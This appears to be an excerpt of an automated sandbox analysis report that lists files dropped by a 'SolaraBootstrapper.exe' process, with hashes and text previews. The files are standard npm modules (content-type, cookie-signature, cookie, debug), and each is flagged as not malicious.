SHA-256:	257AED98914108E91A337912727B6A802EEF218248507F74B76FAFFAFF517A38
SHA-512:	91435A4AE76BDE815E951E42663F8B648EB8E525EB5F26F098CBB713D57F25F44760BE3274674DADD4C407F174C5492AAB9B29E805FC24F5E0D3B9DF161DC5E5
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2015 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING FROM,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2782
Entropy (8bit):	5.006110544776966
Encrypted:	false
SSDEEP:	48:SdC9zR0HyXKk8TX+xssdczUz4Ulkf24YaAKUxrhJpB1Azj:WCgEKQGUUUCfTHAFM
MD5:	CB19C8ABA870601AEE363AC2302DA33D
SHA1:	F41B2B41F354438D6ED00D1D028B54A93FA15862
SHA-256:	8793880CBC4FD7294DFF8562B71D9381EA1C0557422B66007920415BA439486E
SHA-512:	58991D9DCC472F56D93BF69B65EF6C5D0B1F4AD0A094A812411E75D32ADBE9A54FFB3739DDEB71DCED591BF2BE220740BC17AFF7E9087069C0DCE94A99B3468F
Malicious:	false
Preview:	# content-type..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Coverage Status][coveralls-image]][coveralls-url]..Create and parse HTTP Content-Type header according to RFC 7231..## Installation..```sh.$ npm install content-type.```..## API..```js.var contentType = require('content-type').```..### contentType.parse(string)..```js.var obj = contentType.parse('image/svg+xml; charset=utf-8').```..Parse a `Content-Type` header. This will return an object with the following.properties (examples are shown for the string `'image/svg+xml; charset=utf-8'`):.. - `type`: The media type (the type and subtype, always lower case).. Example: `'image/svg+xml'`.. - `parameters`: An object of the parameters in the media type (name of parameter. always lower case). Example: `{charset: 'utf-8'}`..Throws a `TypeError` if the string is missing or invalid...### contentType.pars

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5002
Entropy (8bit):	5.1700954979700535
Encrypted:	false
SSDEEP:	96:CJFvvhHgqZlI8IDzdlalSqZf/gf6GosMySqUqMGa9Nw+j0i8L:CJFHhAqbI8IdUYVhvJMG6Yii
MD5:	4781C7EA0309EDAC61C3A36E3EA9DA10
SHA1:	1B6E7E8D1963CE958CF0F225223FADB5EF12F86D
SHA-256:	7D76AE0F8ECC0A8C053DE97B0F695F3FA3DF33F692D1BD241307995304E5F63D
SHA-512:	D458F8962F44EC30BF519A54AEF063960D9CAC2A954493383FC2EF46781C3244740F18C7DAF1821B4E0BABBD56B356228F7247CE40DE9F3276DE91A71C66C78C
Malicious:	false
Preview:	/!. content-type. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. RegExp to match ( ";" parameter ) in RFC 7231 sec 3.1.1.1. . * parameter = token "=" ( token / quoted-string ). * token = 1tchar. tchar = "!" / "#" / "$" / "%" / "&" / "'" / "". / "+" / "-" / "." / "^" / "_" / "`" / "\|" / "~". * / DIGIT / ALPHA. * ; any VCHAR, except delimiters. * quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE. qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text. * obs-text = %x80-FF. * quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text ). /.var PARAM_REGEXP = /; ([!#$%&'+.^_`\|~0-9A-Za-z-]+) = ("(?:[\u000b\u0020\u0021\u0023-\u005b\u005d-\u007e\u0080-\u00ff]\|\\[\u000b\u0020-\u00ff])"\|[!#$%&'+.^_`\|~0-9A-Za-z-]+) /g // eslint-disable-line no-control-regex.var TEXT_REGEXP = /^[\u000b\u0020-\u007e\u0080-\u00ff]+$/ // eslint-disable-line no-control-regex.var TOKE

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\content-type\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1075
Entropy (8bit):	4.779931444103536
Encrypted:	false
SSDEEP:	12:9X+rQOr18EKiBVgTOmP+zLDWizi1Z0/lWozjktPERGCjPGWdVSYMiP09L6WqLA9c:dEr1X8ynDWiIZ2lWncB0xLvr105P6u
MD5:	0DE0482C40698C075E13E4D54FF34466
SHA1:	1545C6D8538D7E59F375D4AE4B0E0D10471A6C1C
SHA-256:	BD78A5427FFCA1966621301EDC6CAC2146C8C1E137F122161BA90DCA7EC89F77
SHA-512:	9F32408067AFA748AF8D23B4BBBE2657E566017435D4EAD1E63B6D12F8BEBB671EA82353A302340BB6F1CCD4852A3CB8ED340A3A8AF9CD058BD36653B3CD4BCB
Malicious:	false
Preview:	{. "name": "content-type",. "description": "Create and parse HTTP Content-Type header",. "version": "1.0.5",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "content-type",. "http",. "req",. "res",. "rfc7231". ],. "repository": "jshttp/content-type",. "devDependencies": {. "deep-equal": "1.0.1",. "eslint": "8.32.0",. "eslint-config-standard": "15.0.1",. "eslint-plugin-import": "2.27.5",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "6.1.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "10.2.0",. "nyc": "15.1.0". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-ci": "nyc --reporter=lcovonly --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text npm test",.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\.npmignore

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.7454064259382482
Encrypted:	false
SSDEEP:	3:vKXRvRzRxUTj:vQvHWj
MD5:	4F2041BB781C6E873AEB359EF4B191D4
SHA1:	3CD6EDF0E8ECB60C8C6E8CBE76CD358712504D57
SHA-256:	083B765409C2FE14FA2382834CCCF719BFCDBC2FF9A90BE37D229038E1D0EEAE
SHA-512:	ABEEDD26DB3989B8442C520619EF6EFB70880AAF489265849571B16E78E0BD34426BB73EFD85E291CF0B50C77E87E6E3414C28FEE6DDD4E1083F564A5811AD97
Malicious:	false
Preview:	support.test.examples.*.sock.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\History.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	695
Entropy (8bit):	4.669112136603317
Encrypted:	false
SSDEEP:	12:lRn8w1XA35w4xvlO5ifHQBn9Uf91fUecIJ9QmJBY:lx8kKw4xvqiYBnu7fSgg
MD5:	DC394515CE0AD9E572ACAB06C54847CA
SHA1:	0EE29A80F02F08D73342842376E27BC3B7F7D3DB
SHA-256:	8BDE8405601443BD5186594728B3DC538B50CB5B0F283E26D1DE9B23D976ABFA
SHA-512:	7FEFC0A3C3825809696F3F00D9B0D023CEEC0731BC4FCA42797BB458039EC00563D41D621AE4EF8F5E15FC8FE4E7F3A174ABB9C47C3FD9EDCDAA5390DDB1F8EA
Malicious:	false
Preview:	1.0.6 / 2015-02-03.==================..* use `npm test` instead of `make test` to run tests.* clearer assertion messages when checking input...1.0.5 / 2014-09-05.==================..* add license to package.json..1.0.4 / 2014-06-25.==================.. * corrected avoidance of timing attacks (thanks @tenbits!)..1.0.3 / 2014-01-28.==================.. * [incorrect] fix for timing attacks..1.0.2 / 2014-01-28.==================.. * fix missing repository warning. * fix typo in test..1.0.1 / 2013-04-15.==================.. * Revert "Changed underlying HMAC algo. to sha512.". * Revert "Fix for timing attacks on MAC verification."..0.0.1 / 2010-01-03.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\Readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1490
Entropy (8bit):	5.34901447399893
Encrypted:	false
SSDEEP:	24:HofRPHOPUPaqiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFz:Hof1OM3iJfxfPvGt7ICMPH+sfINi3OM9
MD5:	57AE8B42DE3DD0C1F22D5F4CF191E15A
SHA1:	EEDF0DED937F36B8FF5054A5B08CF38FDC241DEB
SHA-256:	1621ED10D0B2F865EB8608E0474A356CF7A9737A384B6593B61B30A9F6E50366
SHA-512:	C725E8C112AE4FFB9593C512636D1C9208CF10BFB055901A00D0DC892C95617AD3300829256972BB3996914B085D0A862207D214D0F9342741135D7E1E0ECB91
Malicious:	false
Preview:	.# cookie-signature.. Sign and unsign cookies...## Example..```js.var cookie = require('cookie-signature');..var val = cookie.sign('hello', 'tobiiscool');.val.should.equal('hello.DGDUkGlIkCzPz+C0B064FNgHdEjox7ch8tOBGslZ5QI');..var val = cookie.sign('hello', 'tobiiscool');.cookie.unsign(val, 'tobiiscool').should.equal('hello');.cookie.unsign(val, 'luna').should.be.false;.```..## License ..(The MIT License)..Copyright (c) 2012 LearnBoost <tj@learnboost.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substanti

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1230
Entropy (8bit):	4.911262279846917
Encrypted:	false
SSDEEP:	24:y8EKm6LQiR88N3tHEonxHm5FdLQiMrUvN28wBhydQXu:XEP6L588NhEonxG57LUreNnahydQXu
MD5:	A9634AA95D321B9A6D90BEC5D3D23937
SHA1:	BB5C2C0A463AA10074CAF991F67681231B1F0C21
SHA-256:	8D762862020064468B4AF17E561EE1EE29D9D55311A1C19D958C4FF2BE912963
SHA-512:	214E27EDB4367AA2EF322C4D857A918EBD57BC825646184F90FA6911F830B3755FCE1FDFF30A5D231EA11BA4DDD82B4F2AFC36451289F0B4334C445E9A26DC48
Malicious:	false
Preview:	/*. Module dependencies.. /..var crypto = require('crypto');../. Sign the given `val` with `secret`.. . @param {String} val. * @param {String} secret. * @return {String}. * @api private. /..exports.sign = function(val, secret){. if ('string' != typeof val) throw new TypeError("Cookie value must be provided as a string.");. if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");. return val + '.' + crypto. .createHmac('sha256', secret). .update(val). .digest('base64'). .replace(/\=+$/, '');.};../. Unsign and decode the given `val` with `secret`,. * returning `false` if the signature is invalid.. . @param {String} val. * @param {String} secret. * @return {String\|Boolean}. * @api private. */..exports.unsign = function(val, secret){. if ('string' != typeof val) throw new TypeError("Signed cookie string must be provided.");. if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");. var str = va

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie-signature\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	492
Entropy (8bit):	4.665449318892376
Encrypted:	false
SSDEEP:	12:UJ18L3EnvI8AacPEMM9Gf6Pt0oCQWNWjVzUPnP6gv:UJ1E3bPj/2xCQWEpG
MD5:	076C53814237236A9D1AA999F33EE501
SHA1:	EB071423205FC35573E714BAA755E3A9E900A979
SHA-256:	AB66777A673AE096D6B5AA51B5EDB46B84E6FCD85DC03358C35576E3DF0464F5
SHA-512:	D5FEEE2E6C8AF31560A3141EBE4254CE66972DA9B9E3463EAFCEA214F49131E325136503DE3F0FA76B454F63EBFDBF5D599CAF558978AACA5A1656C2C7C8EEC1
Malicious:	false
Preview:	{. "name": "cookie-signature",. "version": "1.0.6",. "description": "Sign and unsign cookies",. "keywords": ["cookie", "sign", "unsign"],. "author": "TJ Holowaychuk <tj@learnboost.com>",. "license": "MIT",. "repository": { "type": "git", "url": "https://github.com/visionmedia/node-cookie-signature.git"},. "dependencies": {},. "devDependencies": {. "mocha": "",. "should": "". },. "scripts": {. "test": "mocha --require should --reporter spec". },. "main": "index".}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3189
Entropy (8bit):	4.721880816490292
Encrypted:	false
SSDEEP:	96:p7uDZLXwuBRE8i3gN62iNKqNxvGOrL8Xt:oQxZ55A
MD5:	4E6BE16D80C3254F3EAF7F246F2967D5
SHA1:	053CA9983A27FFE587F35AAE1F52868B1D743311
SHA-256:	01B9F8C4E28CCFB807D66D3787F68AFCBA8E27429AECEC7B50F8B61F960F104A
SHA-512:	F89B1A467604BE24C214D231757FF219F9435E8122B64EA6A46612F2430826CC81CC2F31F2F3A784EC23608D688FD0C55D7FF8935B08E89F91B2E8FB73ACAD49
Malicious:	false
Preview:	0.6.0 / 2023-11-06.==================.. * Add `partitioned` option..0.5.0 / 2022-04-11.==================.. * Add `priority` option. * Fix `expires` option to reject invalid dates. * perf: improve default decode speed. * perf: remove slow string split in parse..0.4.2 / 2022-02-02.==================.. * perf: read value only when assigning in parse. * perf: remove unnecessary regexp in parse..0.4.1 / 2020-04-21.==================.. * Fix `maxAge` option to reject invalid values..0.4.0 / 2019-05-15.==================.. * Add `SameSite=None` support..0.3.1 / 2016-05-26.==================.. * Fix `sameSite: true` to work with draft-7 clients. - `true` now sends `SameSite=Strict` instead of `SameSite`..0.3.0 / 2016-05-26.==================.. * Add `sameSite` option. - Replaces `firstPartyOnly` option, never implemented by browsers. * Improve error message when `encode` is not a function. * Improve error message when `expires` is not a `Date`..0.2.4 / 2016-05-20.==========

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	5.190518136258143
Encrypted:	false
SSDEEP:	24:ZNNiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFz:HNiJfxfPvGt7ICMPH+sfINi3OMFz
MD5:	BC85B43B6F963E8AB3F88E63628448CA
SHA1:	19188F18A6A18F0E02388529EC905BBBFA564F41
SHA-256:	C02110EEDC16C7114F1A9BDC026C65626CE1D9C7E27FD51A8E0FEEE8A48A6858
SHA-512:	49CAF8A6245F56AEEAFAF410053A72586BAC5F9943053CE8F86B6B9F20DCC8D9D553C5EEDA69075CA2951D4FA49E5F68C753C1F06DD556982307353478187C10
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2014 Roman Shtylman <shtylman@gmail.com>.Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11769
Entropy (8bit):	5.114793125993712
Encrypted:	false
SSDEEP:	192:gC6nTuN1D5AKINreMblbEnV4zrhw5lPOkRHPL+gqdd7SHlxlmzrMtCT8+cNkq:QuN1D+9eMbFES36RHPL+b8xQTimq
MD5:	683E2286B5CB5BD1B4B36866F573A29F
SHA1:	A4D68D3F76512C87CFBCF6A6E553876D1980A6E8
SHA-256:	BA8B36C7D860D6EF37887B6EF496A486E91AEFE5229F65157CC8B44725B9BEC5
SHA-512:	8F6FA08988CABC1D90F6523D3CA2D09E89622AECBF2E954E67241A076F43D3DB0ECA3BB16B28CD0259E851305631F8DC42299A78AA400CE0623AC90B7C56C218
Malicious:	false
Preview:	# cookie..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Coverage Status][coveralls-image]][coveralls-url]..Basic HTTP cookie parser and serializer for HTTP servers...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install cookie.```..## API..```js.var cookie = require('cookie');.```..### cookie.parse(str, options)..Parse an HTTP `Cookie` header string and returning an object of all cookie name-value pairs..The `str` argument is the string representing a `Cookie` header value and `options` is an.optional object containing additional parsing options...```js.var cookies = cookie.parse('foo=bar; equation=E%3Dmc%5E2');.// { foo: 'bar', equation

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\SECURITY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	4.461471767918752
Encrypted:	false
SSDEEP:	24:1NR7oSZ8gGzR+KHbH1aKW/DF925a/7kJyEyF0eOCYunEfu7WR:1N7SFHD1f7a/7xPYun7WR
MD5:	440BDB14ABCAA77716CE2626BFA310ED
SHA1:	C2F87463A8FA153254C21500E1B906C64A813AD9
SHA-256:	299F5E632CCB1AE2D74F95DAC09DB13D7FF46C482663B67032E3E72CBE376276
SHA-512:	5AA058B78CEABD8B0C9B9453023706C916E7277C482ECD3621CE3DA3623702FBF540114D2E904301FF30BF36C38C5AF5D29940021F3C0AD9BC267D4D2861681C
Malicious:	false
Preview:	# Security Policies and Procedures..## Reporting a Bug..The `cookie` team and community take all security bugs seriously. Thank.you for improving the security of the project. We appreciate your efforts and.responsible disclosure and will make every effort to acknowledge your.contributions...Report security bugs by emailing the current owner(s) of `cookie`. This.information can be found in the npm registry using the command.`npm owner ls cookie`..If unsure or unable to get the information from the above, open an issue.in the [project issue tracker](https://github.com/jshttp/cookie/issues).asking for the current contact information...To ensure the timely response to your report, please ensure that the entirety.of the report is contained within the email body and not solely behind a web.link or an attachment...At least one owner will acknowledge your email within 48 hours, and will send a.more detailed response within 48 hours indicating the next steps in handling.your report. After the i

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5281
Entropy (8bit):	4.84462495731072
Encrypted:	false
SSDEEP:	96:sdChhqAp9V3vGycd6mDxj64MRHMqwa+8g+3ndAVVJiN9B2RQhAh++xctZt1Y1JzI:G+hqmP3ObxlvodnwRQhAU+it9szI
MD5:	DB5DEDA6183845891FE9B5667CDE042D
SHA1:	EE23AB87C951B0D3E3CDF1D6072A126A84491335
SHA-256:	9FD02358EABDF6C27B388DFDFF94061655620A352253BFC5B01EE4CC30CA36B5
SHA-512:	1B6957F2EF28C5D4E14E02E8D6FEA08D7210C0F2EB9DE4788799FCC57D806998448622145CA45F0F605DB447D97BE982C62211535BF421D8C02D9E384E7DB339
Malicious:	false
Preview:	/!. cookie. * Copyright(c) 2012-2014 Roman Shtylman. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict';../. Module exports.. * @public. /..exports.parse = parse;.exports.serialize = serialize;../. Module variables.. * @private. /..var __toString = Object.prototype.toString../. RegExp to match field-content in RFC 7230 sec 3.2. . field-content = field-vchar [ 1( SP / HTAB ) field-vchar ]. field-vchar = VCHAR / obs-text. * obs-text = %x80-FF. /..var fieldContentRegExp = /^[\u0009\u0020-\u007e\u0080-\u00ff]+$/;../. Parse a cookie header.. . Parse the given cookie header string into an object. * The object has the various cookies as keys(names) => values. . @param {string} str. * @param {object} [options]. * @return {object}. * @public. */..function parse(str, options) {. if (typeof str !== 'string') {. throw new TypeError('argument str must be a string');. }.. var obj = {}. var opt = options \|\| {};. var dec =

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\cookie\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1142
Entropy (8bit):	4.870340029772203
Encrypted:	false
SSDEEP:	24:Dq61XTNyxV3fP6iaYWEwq1EabkB6T+lwZKLAw23VV105P6u:DqWXpUV3fSia/E1eabG0+qo0wmV/03
MD5:	D55AA6BD2733CA1031186952D1485F43
SHA1:	DD82A1CEA772234696F0489AECACFE9AA8FF943E
SHA-256:	E740B0E5656B2029FB858BC93B10312DFF16374283A2ECD9CAA90848190DFF88
SHA-512:	E4324126170C2A6D4E01F7BD8774A26BABC5ABFF86692F283BF691E2B435F6B6F2823179E080AABDE20D368BB26707A726D54C8D64E7838E215CEF074C499598
Malicious:	false
Preview:	{. "name": "cookie",. "description": "HTTP server cookie parsing and serialization",. "version": "0.6.0",. "author": "Roman Shtylman <shtylman@gmail.com>",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "keywords": [. "cookie",. "cookies". ],. "repository": "jshttp/cookie",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "8.53.0",. "eslint-plugin-markdown": "3.0.1",. "mocha": "10.2.0",. "nyc": "15.1.0",. "safe-buffer": "5.2.1",. "top-sites": "1.1.194". },. "files": [. "HISTORY.md",. "LICENSE",. "README.md",. "SECURITY.md",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",. "test-cov": "nyc --reporter=html --reporter=text np

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\.coveralls.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.958344564752663
Encrypted:	false
SSDEEP:	3:ivutBdRgtojoV3Mv:ivuvdydV3Mv
MD5:	55352D85883681DF5F0FA66D3F32A872
SHA1:	90709E4FB4CE17729974B3A140CCBF330519835C
SHA-256:	64E6B64F19837A76C30865579AABDDE1A825729AE0204BA73BA6DE77296CE18E
SHA-512:	BD3F23A4D44A5DF32AE36277D55BF3335D4E8A2954B2AE2DB3167996058B8C6D1E74C2DD9DD2C934BC1D70C15C026FC075A53D47E7B856750047FB86F6B22F58
Malicious:	false
Preview:	repo_token: SIAeZjKYlHK74rbcFvNHMUzjRiMpflxve.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.301685598072847
Encrypted:	false
SSDEEP:	3:rtwFlZWyLQ+PL9FqnXxueHFpTJMHF9LTRI+QMHEHukERGPRiJAdRTTCFQGK1AMKn:rtw++hF+huwiC+QGMukELAdBN5K
MD5:	F69AF9893C473D8E925169156A42F70C
SHA1:	8D154AEDDF66A7BCBD433E3C619F76BB0D920AE2
SHA-256:	7B7D5A5736DDDAE0E7CF1C06CDF41DDD9F98E73DB8F57A18FE4C9BD0F52F9AA3
SHA-512:	4239496B31071B799E30DCC18A05E6E95279799418A97DD57141A4D0F07EE0DDB057E09CB13C30C400202474B61E71175495B3CC411747ADE097D12F4EE87DD0
Malicious:	false
Preview:	{. "env": {. "browser": true,. "node": true. },. "rules": {. "no-console": 0,. "no-empty": [1, { "allowEmptyCatch": true }]. },. "extends": "eslint:recommended".}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\.npmignore

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.255848091329463
Encrypted:	false
SSDEEP:	3:vKXRvRzRxUmJK6OXBd2ffYR:vQvHvjIEm
MD5:	B0205B7904BEF0AD0B403FBCF4F57434
SHA1:	90FEF7CC1058BD0F85B0959C4FCD49230A29593E
SHA-256:	F4580152A6F48954B44CB2A0A002FA500467663DB5A6DC8E796B52533DC04EC1
SHA-512:	FD7F6D36580B9F9D94247FB4EC398C7BFE7715399D11A1D6FA1EFC51E95405EE8F5E6559C5861B0D032AB425F0DE24C7E84BB4C03594E715FA21CD47461A69B4
Malicious:	false
Preview:	support.test.examples.example.*.sock.dist.yarn.lock.coverage.bower.json.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\.travis.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	140
Entropy (8bit):	4.230134094195066
Encrypted:	false
SSDEEP:	3:M6FvLgCFq/zvRLjot6/FyFwxIFQZWv:ppgCcLvRL8INyFWIFQov
MD5:	75C6CBB25B2A5720C8663637A2678879
SHA1:	E87A69A064F6A95B166333D46B919AFBC5487F59
SHA-256:	839E44EE0A96A3E302DC6472800B51822982B77D08F19200AB2CC70534781FD8
SHA-512:	9FEE1C0DF8C2098D418BA0816E47EEFE46063E5DC62D5B9B9B2DC951968627F4E5B53B7C27F42FB6C8CAAC0AF10E3BD4C32526913C3B467E6059237601A77DE0
Malicious:	false
Preview:	.language: node_js.node_js:. - "6". - "5". - "4"..install:. - make node_modules..script:. - make lint. - make test. - make coveralls.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11707
Entropy (8bit):	5.135546321275976
Encrypted:	false
SSDEEP:	192:YN/f0WRrJMcqETq2JRkAbvugBtQsxdsE/6uXIveiGIF6Ta6:YNUkMcq/iRkKug/QsxOEyuYveiPCR
MD5:	504A70C7EB9EBA0C4B26965CF4D252C6
SHA1:	C35E6A85B4A8732EC8AF63BEEA964483E1B2DD94
SHA-256:	D8C1B0717964E189010B13521379C3B970EECC889CB8B788AC21D8DD85247165
SHA-512:	CB9836AF90C63DEEAF5C2DD5085685B3213B3579337D69F9B44DFB5C61C6BFFA5A940C4D9E9B8BB8DF4A845C0F7008077FA35598B27FE45079FB921FE8528E50
Malicious:	false
Preview:	.2.6.9 / 2017-09-22.==================.. * remove ReDoS regexp in %o formatter (#504)..2.6.8 / 2017-05-18.==================.. * Fix: Check for undefined on browser globals (#462, @marbemac)..2.6.7 / 2017-05-16.==================.. * Fix: Update ms to 2.0.0 to fix regular expression denial of service vulnerability (#458, @hubdotcom). * Fix: Inline extend function in node implementation (#452, @dougwilson). * Docs: Fix typo (#455, @msasad)..2.6.5 / 2017-04-27.==================. . * Fix: null reference check on window.documentElement.style.WebkitAppearance (#447, @thebigredgeek). * Misc: clean up browser reference checks (#447, @thebigredgeek). * Misc: add npm-debug.log to .gitignore (@thebigredgeek)...2.6.4 / 2017-04-20.==================.. * Fix: bug that would occure if process.env.DEBUG is a non-string value. (#444, @LucianBuzzo). * Chore: ignore bower.json in npm installations. (#437, @joaovieira). * Misc: update "ms" to v0.7.3 (@tootallnate)..2.6.3 / 2017-03-13.=======

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\debug\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.12256218715534
